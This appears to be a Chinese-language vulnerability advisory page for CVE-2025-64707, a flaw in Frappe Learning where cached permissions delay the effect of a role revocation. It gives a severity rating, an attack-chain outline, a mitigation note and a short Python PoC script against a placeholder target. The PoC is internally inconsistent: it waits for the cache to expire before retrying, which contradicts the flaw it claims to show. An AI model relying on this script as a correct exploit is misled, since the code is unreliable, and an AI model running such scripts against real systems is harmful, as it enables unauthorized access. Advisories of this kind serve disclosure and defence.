IPBUF安全漏洞报告
English
CVE-2025-64707 CVSS 5.4 中危

CVE-2025-64707: Frappe Learning缓存问题导致权限撤销延迟

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64707
漏洞类型
访问控制/权限管理缺陷
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe Learning

相关标签

CVE-2025-64707Frappe Learning缓存问题权限撤销延迟访问控制

漏洞概述

Frappe Learning是一个学习管理系统,帮助用户结构化内容。该系统存在一个访问控制漏洞,在2.0.0版本到2.41.0之前的版本中,当管理员从用户撤销角色时,由于系统缓存机制的问题,权限撤销不会立即生效。攻击者可能在权限被撤销后仍能继续访问受限制的资源,直到缓存过期。这个漏洞源于系统未能正确处理角色变更时的缓存清除操作,导致权限验证使用了过期的用户权限数据。

技术细节

该漏洞的根本原因在于Frappe Learning的缓存策略与权限管理模块之间的不同步。当管理员通过后台管理界面撤销用户的特定角色时,系统确实更新了数据库中的角色分配记录,但缓存层仍然保留了用户之前的权限信息。具体来说,系统在用户权限验证时优先从缓存读取数据,而不是每次都查询最新的数据库记录。攻击者可以利用这个时间窗口,在角色被撤销后继续执行原本应该被禁止的操作,直到缓存自动过期或手动清除。

攻击链分析

STEP 1
1
攻击者获取Frappe Learning系统账户并登录
STEP 2
2
利用现有权限访问受限制资源或功能
STEP 3
3
管理员发现滥用行为后撤销攻击者角色
STEP 4
4
由于缓存未及时更新,攻击者继续拥有访问权限
STEP 5
5
攻击者在缓存过期前持续利用权限进行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # 步骤1:获取有效session session = requests.Session() login_url = "https://target-site.com/api/method/login" # 步骤2:使用具有权限的账户登录 session.post(login_url, json={"usr": "[email protected]", "pwd": "password"}) # 步骤3:执行特权操作 response = session.get("https://target-site.com/api/resource/ProtectedCourse") # 步骤4:模拟管理员撤销权限 admin_session = requests.Session() admin_session.post(login_url, json={"usr": "[email protected]", "pwd": "admin_password"}) admin_session.post("https://target-site.com/api/method/frappe.core.doctype.user.user.remove_role", json={"user": "[email protected]", "role": "Course Admin"}) # 步骤5:等待缓存过期后再次尝试操作 time.sleep(60) response = session.get("https://target-site.com/api/resource/ProtectedCourse")

影响范围

2.0.0 <= Frappe Learning < 2.41.0

防御指南

临时缓解措施
如果无法立即升级,可以手动清除缓存或重启相关服务以强制刷新权限信息。建议在生产环境中监控角色变更并确保权限立即生效。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表